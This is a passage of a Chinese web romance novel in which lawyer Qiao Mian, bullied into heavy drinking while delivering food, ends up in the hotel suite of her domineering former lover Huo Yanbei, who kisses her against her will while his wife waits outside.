乔眠扭头望去,看到坐在最里面的宋沉时,心里咯噔一声。 想到宋沉对她的敌意,心里不免有些生怯。 此时,宋沉已经走到乔眠面前,眼神冰冷的打量着她。 乔眠也看着他。 不同于之前总是一身潮牌,今天,他穿着白衬,黑裤,清爽干净。 那头灰色微卷发,有一种漫画男的贵气感。 他抬手,一把扯掉了乔眠的头盔。 当看清楚女人的脸时,眼底闪过一抹窥见猎物的兴奋:“还真是冤家路窄啊,乔眠,怎么?不去酒吧假扮舞女了,倒是开始扮演外卖员了?” 说着,猛地攥住她的手腕,“这次,你又想偷拍点什么,跟我姐夫要钱?” 上次,这个女人就用在酒吧偷拍的视频骗了姐夫十万块钱! 乔眠不想跟他多费口舌,直接把手机外卖app上的订单信息,展示给他:“我是真的在送外卖。” 宋沉看完后,诧异了一下。 她一个律师……跑外卖? 得多缺钱啊? “宋少,她害你酒吧到现在还在停业整顿呢,我替你好好教训教训她!” 这时,一个男人走过来,将一杯红酒泼到了乔眠脸上:“敢得罪宋少,找死!” “滚蛋!” 宋沉没想到朋友会直接出手,瞪过去一眼,“显着你了?” 那人立马坐了回去。 宋沉垂眸。 却见乔眠安静站着。 若是搁别的女人,最起码会躲一下或者叫一声。 她呢。 脸上都是红酒。 酒液沿着脸颊滴落下来,在外卖制服的衣领晕染开来。 冷静的吓人。 但是,她越是冷静,宋沉越是莫名的恼。 他抬脚一踹,茶几上的蛋糕落在地上。 “呦呵,蛋糕坏成这样也敢送到顾客手里?” 宋沉颠倒黑白,纯属挑事。 “宋沉。” 乔眠望着摔成一滩烂泥的蛋糕,冷声道:“既然你不要蛋糕,请您跟平台申请退款。” 宋沉呵笑一声,“是我不要蛋糕吗?明明是你不小心把蛋糕弄到了地上,我们还怎么吃?” “你……” 乔眠瞪着他。 无语的很。 其他人纷纷附和。 “对啊,就是你把蛋糕弄坏的。” “赔钱!” “要不然投诉你!” 这时,宋沉捡起包装盒上的一张小票,“一共1299,乔律师,赔吧。” 听到这个数字,乔眠接过小票一看,确实是1299。 这么贵…… 她今晚跑外卖,才挣了一百多块钱。 “我不会赔钱的,你们报警吧。” 她只能硬扛。 宋沉瞪着她:“少拿报警吓唬我,我告诉你,今天你要么跪着给小爷我道歉,要么赔钱滚蛋!” 其他人纷纷附和。 “就是,宋少的姐姐可是霍氏总裁的妻子,不是你惹得起的人。” “要么道歉!要么赔钱!” 乔眠不畏不惧:“报警吧,警察怎么判罚,我都认。” 说完,她转身就走。 门刚打开,宋沉大手一按,将门啪一声关上了。 乔眠皱眉,“宋沉,我被你的朋友言语侮辱,又被泼酒,根据《治安管理处罚法》可定性为寻衅滋事罪,处五日以上,十日以下拘留,并处五百元以下罚款。” “你一定不想再进一次拘留所吧?” 听到最后一句话,宋沉更恼了,“你问问这些人,谁碰你一根手指头了?” 乔眠觉得再纠缠下去毫无意义。 掏出手机,就要拨打110时,宋沉扣住她的手腕,“你就算报警了,我们这些人统一口径,肯定咬死是你弄坏了蛋糕,最后,你还得赔蛋糕钱。” 他这番话,她信。 其实,她根本没想真的报警。 一旦报警,霍宴北肯定会干涉,保全宋沉。 最后,倒霉的只会是她。 再说,大半夜进局子,录口供、调解,出来后,天都快亮了。 孩子们还在家…… 乔眠看出宋沉其实也不想报警,于是,耐心问:“那你想怎么样?” 宋沉指了指茶几上的六杯红酒,“都喝了,蛋糕就不要你赔了。” 乔眠犹豫。 其他人起哄。 “宋少这已经放你一马了,墨迹啥呢,喝啊!” “就是,别给脸不要脸!” 宋沉斜靠着门,眼神慵懒的瞧着她。 一副不喝酒,今天就走不出这道门的架势。 六杯酒,她扛得住。 以前,跟霍宴北在一起时,没少陪他参加饭局。 “好,我喝。” 乔眠一咬牙,走到茶几前,弯腰拿起一杯酒,一饮而尽。 辛辣的酒液灌入肺腑,乔眠忍着一丝不适,继续端起第二杯,送进嘴里。 宋沉眯了眯眼睛:“酒量不错。” 乔眠继续端起第三杯酒,往嘴里灌。 第四杯…… 第五杯时,脑袋有些眩晕感。 身体支撑不住的晃了一下。 在场的人开始打赌。 “我赌她挺不过第六杯。” “输了的话全场你买单。” “好。” 乔眠单手撑着茶几,把手里的酒喝进肚子里后,身体虚软的往下坠去时,宋沉走过来扶了她一下。 却惊叹,外卖制服下,女人的腰居然那么细。 他在她耳边撩笑:“乔律师,如果你跟我求饶的话,我可以放过你。” 乔眠虽然有些坚持不住,但脑子还算清醒。 她即便说软话,也只会换来无情的嘲笑和羞辱。 这些高高在上的公子哥们向来以取乐为主。 她推开宋沉的手,抓起第六杯酒,喝进嘴里后瞪着他:“可以了吗?” 宋沉打了个响指:“当然。” …… 乔眠在走廊里跌跌撞撞的走着。 这会儿,酒劲上来,强烈的眩晕感和酒精麻痹,导致她神智不清,步伐虚浮。 扶着墙壁才堪堪站稳。 她要找卫生间。 想吐。 可是,眼前越来越模糊。 灯光炫丽,更是让她视线混乱的辨不清方向。 直到跌进了一个坚实温暖的怀里。 “抱……抱歉。” 她低着头,结结巴巴的说。 刚说完,身子软塌塌的往下坠。 一只手臂及时落在她腰上。 用力一提,将她整儿个捞进了怀里。 “乔眠。” 男人声音冷峻。 目光沉冷的盯着怀里满身酒气的女人。 乔眠听到这道熟悉的唤声时,缓缓抬起头来。 模糊的视线里,依稀可见一张冷峻绝美的面孔。 “霍……霍总。” 第58章 她紧紧缠上了霍宴北的腰 霍宴北幽暗的目光,落在怀里的女人身上。 她穿着一件厚重的外卖冲锋衣。 过分宽大的上衣,松松垮垮的裹着身体,衬得整个人愈加纤弱。 此时,男人宽厚温热的手掌,隔着质地冷硬的布料,紧紧握住那截羸弱到仿佛稍微使点劲,就能揉碎的小腰。 她脸上沾着红酒液。 许是太热,冲锋衣拉开了。 里面是一件毛衣。 毛衣是羊毛丝质,被鲜红的酒液浸透,薄薄一层布料黏在皮肤上,将胸型勾勒的恰到好处。 随着她略微急促的呼吸,隔着布料那傲人的沟壑跃跃欲出。 男人喉结滚动,嗓音带着一丝不易察觉的沙哑:“喝酒了?” 看着装,她应该是在送外卖。 可是,怎么会喝成这样? 乔眠眨着一双仿佛被红酒浸泡过的桃花眼,眼神迷离地望着眼前的男人:“霍宴北……” 但又很快捶了捶脑袋。 不……不可能是他。 她一定是醉的出现幻觉了…… “嗯,我是霍宴北。” 见她身体晃了一下,霍宴北拢紧她的腰,淡声回了一句。 再次听到熟悉的声音时,乔眠使劲摇了摇混沌不清的脑袋。 “真的是你吗?” 像是要确认一下,她缓缓伸手。 白皙如葱的手指,沿着男人棱角分明的五官一点点描绘。 拂过深邃立体的眉眼。 高挺的鼻梁。 擦过削薄的唇时,霍宴北呼吸微灼,攥住女人细腰的大手微微收紧。 另一只手握着在他唇上不规矩的小手。 目光深深地盯着已经醉得辨不清人的女人:“你醉了,确定我是谁了吗?” 乔眠确实醉了。 竟是踮起脚尖,像是在诉说自己的小秘密,在他耳边低喃:“只要你不是霍宴北就行……” 男人白皙的耳蜗被女人说话间吞吐出的灼息烫的一点点泛红。 落在女人腰上的大手,也越攥越紧。 她每次见到他,不是紧张就是抗拒回避。 此时,这举动,显然证明她已经醉糊涂了。 霍宴北脸颊微侧,贴着女人红润滚烫的脸,嗓音微涩,带着一丝诱哄的意味:“为什么不是霍宴北就行?” 乔眠被问的发怔。 想保持头脑清醒,可是,动作和说话,在酒精的催化下,根本不受大脑支配。 但她清楚自己醉了。 醉倒在一个疑似霍宴北的男人怀里。 不管对方是不是霍宴北,男女大防,都很危险。 此刻,两人身体贴合在一起,让她有一种强烈的压迫感。 腰上的力道,勒得她有些疼。 “你放开我……” 她推着腰上那只手。 但是,力道却越扣越紧。 紧接着,霍宴北脱掉身上的西装外套,将她整儿个罩住,打横抱了起来,走进了旁边的客房。 就在门即将关上的一瞬,一只大手挡住了门。 “姐夫?” 刚才,他从走廊那头走过来,远远的看到一道侧影。 很像姐夫。 而且,怀里似乎抱着一个人。 一个女人。 身上罩着一件男士西装外套。 转念一想,或许是自己喝酒的缘故,看花眼了? 正思索着,霍宴北疏离的嗓音传入耳中,“你怎么在这儿?” 宋沉敛去思绪,扒拉着门框,一边扎着脑袋往里瞄,一边心不在焉的回道,“朋友过生日,小聚一下……” 此时,被男人半个身体抵在门板后面的乔眠,浑身无力的倒靠在霍宴北背上。 一双手臂缠上他的腰时,霍宴北将门关上一半,整具身体挡住了她,以至于宋沉并未发现乔眠的存在。“有事?” 男人推开宋沉从门里探的脑袋,神情淡漠的问。 “嗷没事……” 宋沉抓了抓头发,“姐夫,你怎么在这儿?” 霍宴北眉头微皱,“应酬,多喝了几杯,就开了一间房暂时休息。” 刚说完,正好看到陈珂和一行人,从前面一个包厢里走出来。 陈珂态度恭谨,想来那些人应该是客户。 看来姐夫真的是来应酬的。 至于刚才抱的女人是谁…… 他想进去,一看究竟。 但是,没那个胆儿。 万一进去后,没有女人,岂不是很尴尬? 况且,姐夫现在可是他酒吧的出资人。 惹恼了姐夫,万一后续不给他投资了怎么办? 所以,权衡之下,他没敢再揪着这件事不放,扯了一个话题:“对了姐夫,你刚才有没有看到乔眠?” 霍宴北唇线绷直:“她今晚没有跟我一起出来应酬,她在哪儿,我不清楚。” “不对呀,刚才看到她走过来了……” 宋沉嘟哝一句后,双眼灼亮的说道,“对了,姐夫,今晚我遇到乔眠了,我让她喝了六杯酒……” “滚。” 霍宴北打断他,语气骤冷。 宋沉紧急闭麦。 也不知道又惹小叔哪里不痛快了。 门关上后,宋沉靠着墙,打了一个电话。 那边很快传来宋蔓的声音。 “阿沉,什么事?” 宋沉咳嗽了一声,问道,“姐,你和我姐夫最近感情怎么样?” “很好啊,怎么了?” “没事,就是想给你提个醒,以后注意点我姐夫,万一哪天被别的女人勾走了呢。” 提醒完,他匆匆挂断了电话。 等他回到包厢后,整个身体陷进真皮沙发内,双腿闲散搭着,目光懒懒的扫了一眼进来的林远。 林远是宋沉的心腹,也是打手。 宋沉不在时,酒吧都由他打理。 “查下乔眠那个女人的所有信息。” “是。” 林远走后,朋友打趣他,“宋少,你干嘛这么关注那个女人?” 宋沉玩味的挑了挑眉,“我还从来没有在女人身上栽过跟头,乔眠那个女人,六杯酒就想泯恩仇?我跟她……没完。” 得罪他的人,没有一个好下场的。 …… 顶奢套房。 霍宴北抱着醉的一塌糊涂的乔眠走进屋内。 将人不太温柔的扔到床上。 然后,捡起掉在地上的西装外套,随手丢到了沙发上。 “我要回家……” 原本就晕的不知东南西北的乔眠,被这一扔,更是头昏脑涨。 她挣扎着从床上爬起来。 动作笨拙的想要从床上下来,却翻了个空,眼看就要跌在地上,最后却稳稳地落在一双坚实有力的臂弯中。 第59章 和他睡了一夜 “老实点。” 霍宴北语气肃冷。 瞅了一眼怀里的女人后,再一次将她丢到了床上。 乔眠纤弱的身体在松软的床上弹了两下,才稳住身体。 此时,她身上的冲锋衣大敞,跪坐在床上,双腿向后岔开,冲锋衣衣摆散在床上。 像极了以前,两人欢好后,阿妩穿着他宽大的衣服的画面…… 此时,她仰着酡红的小脸,双瞳醉蒙蒙的,小嘴微张,像极了穿着男朋友的衣服,极具诱惑感。 霍宴北黑眸眯起,弯腰,盯着女人的眼睛:“现在知道我是谁了?” 近距离靠近,乔眠这才看清楚眼前冷峻卓绝的男人,正是她避之不及的霍宴北。 不是幻觉。 真的是他。 虽然醉得意识混乱,但潜意识的回避和畏惧,让她想马上逃离这里。 “我……我……回家。” 她结结巴巴的吐出几个模糊不清的字音。 见她说话又结巴了,霍宴北好笑的勾了下唇,“你醉成这样,先在这里休息。” 乔眠一听,像是听到一个鬼故事似的,浑身打了一个冷颤,猛烈摇头。 胃里更是一阵翻江倒海。 她捂着嘴,男人意识到她要吐,拦腰将她抱起来,还没走到浴室,怀里的女人吐在了他身上。 “乔、眠。” 霍宴北咬了咬牙,黑着脸走进卫浴室,将女人放下。 乔眠瘫在地上,抱着马桶,将胃里一股脑倒了个干净。 霍宴北垂眸,看了一眼衬衫上的污秽,屏住呼吸,狠狠闭了闭眼。 将衬衫脱了,丢到一旁。 乔眠吐完,好不容易从地上爬起来,一回头,就看到霍宴北赤裸着上半身。 吓得她双腿一软,惊坐在地上。 目光呆呆的望着男人噴涨着荷尔蒙气息的绝美身材。 一时间挪不开眼睛。 “好看吗?” 男人附身,修长的手指,捏起她的小脸,意味深长地问。 以前,阿妩也总是这样呆呆的眼神看着他…… 乔眠眼神迷茫的眨了眨眼睛,反应迟钝的点点头。 她趴坐在地上,眨巴着水蒙蒙的眼睛看着他,像一只猫。 乖的很。 霍宴北心头蹿起一抹奇异的悸动,大掌落于她头顶,轻轻揉了揉。 像以前抚摸怀里的阿妩那般…… 指腹摩挲着女人柔软娇嫩的红唇,望着那双醉醺状态下水雾粉润的桃花眼时,一股涌动的气息直冲腰腹。 随后,在乔眠越来越模糊的视线里,男人忽然起身走了。 像极了曾经无数个夜里,在她身上千帆过尽,又无情的从她房间离开时的身影。 以前,每次,她都希望他留下来。 陪陪她。 抱抱她。 而不是只当她是泄欲的工具。 但是,她知道,他喜欢听话懂事的姑娘。 所以,每次,她再贪恋他的怀抱、气息,也会恪守分寸。 哪怕目睹他和宋蔓牵手、亲吻,她连一丝情绪都不敢有。 宴北哥…… 她无声地唤着他。 伸手,想要去抓那道模糊的身影,却抓了个空。 随着眼皮越来越重,最后陷入一片黑暗中。 霍宴北去了另一间卫浴室冲冷水澡。 望了一眼依旧汹涌的地方,将冷水开到最大。 滚烫的身体紧贴着冰冷的瓷砖上,才稍稍得以缓解。 他刚才又一次对乔眠又产生了生理性欲望。 大概那双眼睛,太像阿妩了。 二十分钟后,霍宴北裹着睡袍从浴室出来。 回到另一间卫浴室时,原以为乔眠已经趁机走了。 却看到,她靠着马桶睡着了。 脸颊晕染着两坨艳丽的红,毛衣领口松散,本就性感饱满的地方半隐半露。 霍宴北喉间发紧。 平息的地方再次苏醒。 他将浴袍腰带系紧,走过去将女人拦腰抱起来,走出浴室,放在床上。 刚要松手时,女人忽然抱住他一只胳膊,脸颊贴着他的手臂蹭了蹭:“乖哦……抱抱……” 不知道梦见了什么,唇角微微弯起一抹极温柔的弧度。 这时,她动了一下。 男人脉络清晰的手臂落入女人胸口。 柔软细腻的让他浑身发烫。 他别开视线,将胳膊抽了出来。 然后拉起薄被,盖在女人身上后,打了一个电话。 因醉酒导致胃里不适,所以,乔眠睡得并不踏实。 醒来时,已经翌日清晨。 她头疼的捶着脑袋,从床上坐起来,这才发现自己身处一间豪华套房内。 看到身旁躺着的霍宴北时,惊惧的浑身血液都要凝固了。 他穿着一件白色睡袍,侧躺着,一只手还搭在她腰上。 他皮肤白,衬得手腕上那串桃核红绳手链格外醒目。 一些过往针扎般钻进脑海里。 她神智骤然间清醒许多,推开他的手,掀开被子一看。 还好衣服还在。 昨夜,两人什么都没有发生。 所以,他只是搂着她睡了一夜…… 她烦乱的抓了抓头发,想起孩子们…… 立马找到手机,点开微信。 是昨夜阮薇给她发了一条微信。 【放心吧,眠眠,我会照顾好孩子们的。】 昨夜,喝完那六杯酒后,她就意识到自己醉了。 她担心自己真的醉了回不了家,所以,趁着自己还清醒,给阮薇发了一条微信。 让她去她家住一夜…… 收起手机后,她一刻都不想多待,翻身下床,捡起地上的冲锋衣就要逃走时,男人清冷的声音从身后传来,“昨夜我帮了你,不应该说一声谢谢?” 乔眠脚步一顿,扭头看向他,“谢谢霍先生昨夜带我到房间醒酒。” 男人下床,走到她身前,“怎么谢?” 乔眠怔了一下,“霍总,您什么都不缺……” 男人忽然捏起她的下巴,打断她:“缺你。” 他语气暧昧,眼睛里充斥着一个男人对女人的掌控欲。 乔眠脸颊蓦地一红,推开他的手,“霍总,我想我之前应该说的很清楚了,我不会当您的情人……” 霍宴北蹙了蹙眉,瞅了一眼她手里的外卖制服,“乔眠,你宁可跑外卖赚那点钱,也不愿跟着我?” 乔眠抱紧衣服,脸上的表情倔强又坚定:“是。” 男人烦闷的皱了皱眉,从床头柜上拿起一个袋子丢给她,“你的衣服脏了,换上。” 第60章 霍宴北让她给他穿衣服 听到宋蔓敲门的声音时,乔眠吓得脸色刷一下白了。 她就像是一个即将被捉奸在床的小三一样惊惧不已。 “怎……怎么办?” 她嘴里含糊不清的喃喃自语。 双腿虚软的厉害。 接连后退好几步,直到撞到霍宴北那具沉厚坚实的胸膛时,她急忙转过身,慌慌张张的抓住他的胳膊,声音都带着一丝颤抖,“你妻子来了,我……若是发现我们……会误会的……” 她恐惧的连说话都开始结巴了。 六年前,宋蔓是怎样在背地里羞辱打骂她的一幕幕,在脑海中不停地闪回。 那时,宋蔓得知她和霍宴北的关系后,并没有到霍宴北跟前哭闹。 却把所有的愤怒全都宣泄在了她一个人身上。 私底下,动辄对她打骂。 什么难听骂什么,怎样让她痛,就怎样打她。 最严重的一次,是一天晚上,宋蔓找了好几个男人,把她堵在了回家的路上,对她意图强暴。 好在,她逃跑了。 最后,报警了。 那几个男人抓进去后,明显被人收买。 一口咬定是喝醉了,什么都记不起来。 死活不承认骚扰非礼她。 加上她一面之词,又提供不了任何证据,那几个人关了几天,就被警方放了出来。 当时,这件事是她独自应对的。 霍宴北并不知情,因为那段时间,他在外地出差。 只有她知道,这件事的主谋是宋蔓。 后来,过了没几天,她看到一则新闻,那几个人涉嫌盗窃、赌博、拐卖,被判了六年。 也就是经过这事后,宋蔓才对她的恶意收敛了一些…… 高中时,她还是秦妩时,宋蔓指使同学们霸凌她。 大学时,她作为霍妩,因为和霍宴北的关系,宋蔓视她为眼中钉肉中刺。 恨不得杀了她! 而六年后的现在—— 乔眠心理上积压多年的阴影,在一瞬间被无限放大。 她整个人都是抖的。 她害怕再像以前那样,陷入被羞辱谩骂却无法辩解的境地。 反观霍宴北,脸上毫无一丝惊慌,淡定的好像门外一直叩门的不是他妻子似的。 “慌什么?” 男人见她吓得脸上血色褪尽,额头都冒出了一层薄汗时,轻扯了一下嘴角。 迈着阔步,抬步朝门口走去时,乔眠一把拽住他的胳膊,“你干什么?” 男人线条凌厉的下巴,朝门口抬了一下,声音淡得辨不出一丝情绪,“开门。” “你……” 乔眠看了一眼他身上穿着的睡袍,又低头,瞅了瞅自己衣衫不整的模样,慌措的话都说不出来了。 但凡是个人进来,看到两人这副样子,都会误会两人之间不清白。 “霍总,你不怕被误会,我害怕啊……” 她张开双臂,拦住他说。 男人望了一眼,刚才掉在地上的衣服袋子,“换上。” “……” 乔眠惊愣。 这个节骨眼,他居然还有心思逼迫她换衣服? 不过,她也没功夫多想,抓起地上的袋子,跑进了浴室。 浴室门合上一刻,霍宴北打开了门。 宋蔓笑脸盈盈的走了进来。 手里提着一个饭盒。 进来后,眼神飞速的扫了一圈,见房间并没有女人时,松了一口气。 “宴北,阿沉说昨夜在这儿遇到你了,说你喝多了,所以,我早上煮了点醒酒汤,还带来了早点。” 说着,把饭盒放在茶几上,将醒酒汤和早点一一摆放在餐台上。 一副温柔贤妻的姿态。 霍宴北脸上没什么表情,走过来坐下,端起碗,抿了一口粥,淡声道,“下次不必大老远跑过来。” 宋蔓精明的目光在男人脖颈、锁骨上游走而过。 见他身上并没有暧昧痕迹时,悬起来的一颗心终于放了下来。 昨夜,弟弟宋沉先是给她打了一个电话,话里话外暗指霍宴北在外面疑似有女人。 随后,又发来了一个定位。 她整宿没有睡觉,一直等到天亮,才以送爱心早餐的名义找来了…… 只是,自打她进门后,霍宴北一脸平静淡漠,倒是让她捉摸不透他的情绪。 “昨晚睡得好吗?” 宋蔓一边问,一边朝里间的卧室张望。 着重看了一眼床。 床上略微凌乱,并没其他暧昧痕迹。 也没有女人的内衣之类。 想来是宋沉看岔了…… 想到这里,她讨好的把一个装着衣服的袋子放在桌案上,“我还带来了你的换洗衣服。” 霍宴北简单吃了几口早点,起身,接过她手里的袋子,语气平静的嗯了一声后,抬步去了浴室。 浴室门打开时,乔眠吓得一个激灵。 还以为宋蔓冲进来要‘捉奸’。 但是,看到霍宴北进来后,直接吓愣住了。 刚才正在换衣服,因为拉链在后背,她伸手够不着。 此时,看到霍宴北进来,惊惶的忘记了拉拉链。 她不知道,此时,自己背对着镜子,霍宴北望着镜子,已经将她整个裸露的后背看了个干净。 她很瘦。 薄背纤弱,肌肤嫩白莹润。 裙子是收腰款式,将女人最曼妙的线条勾勒了出来。 那薄美的后背,像一只展翅欲飞的蝴蝶,蜿蜒至后腰窝。 腰过分的细的缘故,衬得臀就更挺翘丰满。 霍宴北漆黑的眼眸深处像是烧了一把火。 烧的整具身体都是热撩撩的。 在乔眠惊吓的目光中,褪去了身上的睡袍。 露出线条壁垒分明的绝美身体。 常年健身的缘故,八块腹肌尤为明显。 不同于六年前,他那身干净清爽的薄肌。 现在,他身上每一块肌肉都噴涨一个成熟男人,浓欲的荷尔蒙气息。 虽然他穿着裤子,只露着上半身,但是,乔眠还是吓得差点惊喊出声。 “你干什么……” 她慌张的往门口望了一眼,压着声音问。 男人从袋子里拿出一套衣服,丢到她怀里,就像吩咐佣人似的命令口吻,“帮我穿衣。” “……” 乔眠愣住。 还以为自己听岔了。他妻子就在外面,他居然让她给他穿衣服? 乔眠猛地摇了摇头。 脸上写满拒绝。 此时的他,俨然六年前的他。 每次在她房间疯狂了一夜后,第二天早晨,他沐浴后,就会让她帮他穿衣。 第61章 跟霍宴北在浴室吻了很久 就连戴腕表,整理袖扣,也要她亲自做。 那时候的他,褪去了平日里的清冷,像一只黏人的大狼狗。 看着凶猛,实则温驯。 可是,现在不是六年前了。 “霍总,您自己穿……” 她低着头,闷闷说了一句。 但是,男人却捏起她的小脸,“早点换好衣服,我也能早点出去。” 说到这里,他一把扣住她纤细的腰。 粗粝宽厚的掌心揉着她的细腰,男人菲薄的唇擦过她耳蜗,嗓音低沉又沙哑,“还是说,乔律师不希望我出去?” 他说话时,呼吸出来的热气喷洒在她脖颈上,激得那块皮肤痒痒的,麻麻的。 惊吓加上‘偷情式’的紧张氛围,乔眠羞恼的整张脸瞬间红透了。 “不是,你自己穿……” 她推他。 男人不为所动,垂眸,好整以暇的望着她。 好像她不帮他穿衣服,他今天就不会出这个门似的。 他分明就是故意威胁她。 乔眠望了一眼门口后,气恼的咬了咬牙,从袋子里拿出一件衬衫,动作熟练又利索的帮他穿上。 扣纽扣时,别过脸,不敢触碰到他那过分有型俊美的胸肌,以及罗列鼓鼓的性感腹肌。 全程,男人一瞬不瞬的盯着她。 目光灼烫,就像要恨不得把她盯穿一般。 乔眠头皮发麻的惶恐不安。 就在给他系领带时,男人忽然扣住她的腰,稍用力一提,将她放在了洗手台上。 高括的身体倾轧下去,另一只手紧紧拢住她的后脑勺。 深深地吻开了她的唇。 那一瞬间,乔眠脑袋里像是噼里啪啦的炸了一团烟火。 他吻得很粗暴,根本不给她一丝推拒的机会。 事实上,乔眠吓得身体都是僵硬的。 不敢发出一点点动静。 狭窄的浴室,一时间只能听见彼此焦灼在一起的喘息声。 “抱着我……” 男人撕咬着她的唇,呼吸时,嗓音里带着一丝诱哄,又哑又欲。 乔眠不配合,推着他的肩膀,可怎么也推不开。 又不敢用力挣扎,怕闹出动静。 见她不听指令,男人将她洗手台上抱了起来。 身体突然腾空,分开的双腿,下意识缠住了男人的腰。 “抱住我……” 男人再次重复。 透着不容置喙的命令。 眼看他抱着她朝门口走去时,乔眠只得顺从的伸出一双纤细的手臂,攀住了他的脖颈。 男人呼吸一下子灼乱到顶点,拢紧她的小腰,再一次狠狠咬住了她的唇。 完全不给她丝毫喘息的机会。 在惊吓和随时被发现‘奸情’的环境刺激下,他吻得越来越炙热。 很快就将乔眠吻得气息凌乱。 不得不攀缠着他,承受着他越来越厚重的吻。 这个吻持续了很久。 久到乔眠快要窒息在他怀中时,男人停了下来,盯着瘫软在怀中的女人,仿佛看到了曾经被他欺负惨了时,窝在他怀里的阿妩的影子。 “阿妩……” 他迷乱的蹭着她的额头,鼻尖擦着她的,呼吸出来的热气烫得厉害。 乔眠软的没有力气,双手紧紧抠着他的肩膀,小声提醒:“霍总,我不是阿妩……” 男人在她唇上用力吻了一下,“乔眠,和我在一起时,你就是阿妩,也只能是阿妩……” 说完,他抚了抚她散满后背的长发,整理了下扯乱的领带后,出了浴室。 乔眠明白,她只是曾经死去的霍妩的替身…… “宴北,怎么这么久?” 宋蔓轻柔的声音隔着门板传来。 男人没有说话。 之后,听到外面传来一道关门声时,乔眠从洗手台上滑下来。 浑身虚软的瘫坐在地上。 呆坐在地上良久,才撑着洗手台站起身。 望着镜子里被吻得有些红肿的唇,以及脖颈上几处深紫色吻痕时,乔眠懊恼又羞耻的闭了闭眼睛。 她打开水龙头,一遍又一遍用力的往脸上浇冷水。 最后,她看着镜子里狼狈又懦弱的自己,眼泪顺着通红的眼角砸下来。 最后,情绪失控的捂着脸,哭了起来。 比起恼恨霍宴北的强势霸道,她更恨自己不够强大,无法摆脱他的掌控。 她躲了他六年,最后又将沦为了他的玩物…… 她实在不懂。 他明明很爱宋蔓,却为何能够做到在他妻子还在外面时,就敢对她那样…… 这一点,和六年前一样。 他和宋蔓成双入对的出席各种宴会,高调的对外公布联姻一事。 在人前就是一对恩爱的璧人。 他对宋蔓总是温温柔柔的,有求必应。 可是,他却又在那些数不清的夜里,和她耳鬓厮磨,相缠不休。 那时,他说的最多的一句话就是,‘阿妩,你只需乖乖呆在哥哥身边就好,我们会一辈子在一起的’。 可是,现在又好像回到了过去。 她几乎又沦为了那个见不得光的情人…… 想到这里,她用力擦掉眼泪,整理好衣服后,拿起包离开了房间。 只是,刚走出会所,就看到陈珂站在一辆黑色宾利面前。 他打开后车门,“乔律师,请上车。” 乔眠皱了皱眉,上车后,陈珂问,“霍总说,今天准你一天假,你可以在家休息。” 说罢,将一张卡递过来,“霍总给你的,他让你以后不要再送外卖了。” 乔眠没有接,眼神忧伤的看向车窗外不断倒退的高楼大厦,“如果让我上车是为了给这个的话,抱歉,我不需要。” 陈珂见她执意不收,犹豫了一下,只好将卡收回去。 “那我送你回家。” “不用了,我昨夜是骑电动车来的,我得骑回去。” 说罢,不给陈珂说话的机会,直接从车上下来。 她从马路边找到电动车,从后车座下取了一个备用头盔戴上后,骑上电动车就走了。 陈珂下车后,只看到女人骑着电动车远去的身影,唏嘘的摇了摇头。 没想到乔眠真够倔强的。 可是,不管如何,她现在是霍总看上的女人。 不,是替身。 逃不掉的。 …… 劳斯莱斯内。 等红灯时,宋蔓挽住霍宴北的胳膊,“宴北,你以后可不可以不要再外面过夜?” 男人将胳膊从她手中抽离,“宋蔓,你越界了。” 第62章 被他缠上了 宋蔓脸上的表情微微一僵“宴北,你是不是生气了?”霍宴北脸上的表情亦是淡淡的,“生气不至于,我只是提醒你,我们 之间的约定。”宋蔓心里泛起一丝委屈,眼眶很快就红了,六年前,她捧着百荣公司百分之三十股权给他。 一是,为了保全百荣,二是,趁此机会想要他娶她。 可是,他却不肯。 只答应联姻,假结婚,达到彼此各取所需的目的。 当时,他特别约定过,互不干涉各自的私生活。 所以,当年,得知他私下养的情人是霍妩时,她再恼,也只能眼睁睁的看着。 起初,她以为,他只是图新鲜,毕竟霍妩那么胖,还又聋又哑,没有哪个男人会喜欢那种丑女人。 而且,论相貌、身材,霍妩连她一根头发丝都比不上。 她以为,等霍宴北新鲜够了,总会收心,重新回到她身边的。 毕竟,两人从小青梅竹马的情分摆在那儿。 可是,她自信过头,也失算了。 没想到霍宴北对霍妩动了真格的。 从那时起,她就恨极了霍妩。 她一个丑八怪、死胖子拿什么跟她比? 凭什么、又怎么配站在霍宴北身边? 现在想想,她真的很后悔当年霍宴北双目失明,失去霍家继承人资格,被逐出霍家后,她听从父亲的安排,跟霍家退婚后出了国。 如果当年,陪在他身边,照顾他的人是她,也不会让霍妩那个小贱人趁虚而入,抢走了她心爱的男人…… 正走神时,车子一个急刹车,出于惯性,宋蔓整个身体前倾,眼看就要撞上前方车椅背时,霍宴北及时伸手挡了一下。 她撞到了他的掌心。 “霍总,抱歉,前面车忽然停了,我这才急刹的……” 司机小赵扭头过头,满脸惊慌的解释。 “无妨。” 霍宴北淡声说了一句,坐直身体,准备闭目养神时,宋蔓一把抱住他的胳膊,将脑袋靠在他肩上,带着浓重的鼻音问,“宴北,虽然我们没有领证,但是,这六年,我们生活在一起,我们还一起照顾念念长大,我早就把你看做是我的丈夫了。” 霍宴北表情淡漠,没有说话。 宋蔓嗓音娇弱,掏心窝子的示软:“我承认,我是听阿沉说你身边可能有女人,所以才一大清早来找你,想要证实一下……” 说到这里,她抬起头,晃了晃男人的胳膊,“宴北,我知道,我不该干涉你的私生活,但是,我是个女人,我真的担心有一天,你会被别的女人抢走……” 说了一大堆话,霍宴北只是微微蹙了蹙眉,说道:“宋蔓,你不必浪费时间在我身上。” “不,宴北,我爱你,我心甘情愿的等着你,哪怕一辈子,我也会等下去。” “一辈子……” 男人品磨着这三个字,嘲讽的扯了扯嘴角。 曾经,阿妩答应过他,会乖乖听他的话,一辈子待在他身边。 可最后,她却狠心抛弃了他。 自从阿妩死后,他就再也不相信什么狗屁的‘一辈子’了…… 他轻轻推开宋蔓,点了一根烟噙在嘴角,手肘搭在车窗上,神情恍惚的吞云吐雾。 宋蔓再一次主动,将脑袋靠在他肩上,语气轻软的说道:“宴北,我知道你对霍妩妹妹的死有愧疚,当年,若不是你为了救我,错过了回去救她的最佳时机,霍妩妹妹也不会死,宴北,说到底,都是我的错……” 说着,抬手朝自己脸上打去时,霍宴北伸手圈住了她的手腕,“不是你的错……” 当年,是他选择救宋蔓的,也是他把阿妩丢在火场里的。 这一切,都是他自己的选择。 他才是害死阿妩的罪魁祸首。 又怎怪得了别人? “宴北,我懂你对霍妩妹妹的愧疚,这些年,我也很自责……” 说着,她忽然伸手捂着嘴,猛地咳嗽了好几声。 “没事吧?” 霍宴北轻拍着她的后背,关心的问。 “没事……” 宋蔓攥着小手,往背后躲了一下。 捕捉到她的小动作,男人一把将她的小手拽了回去。 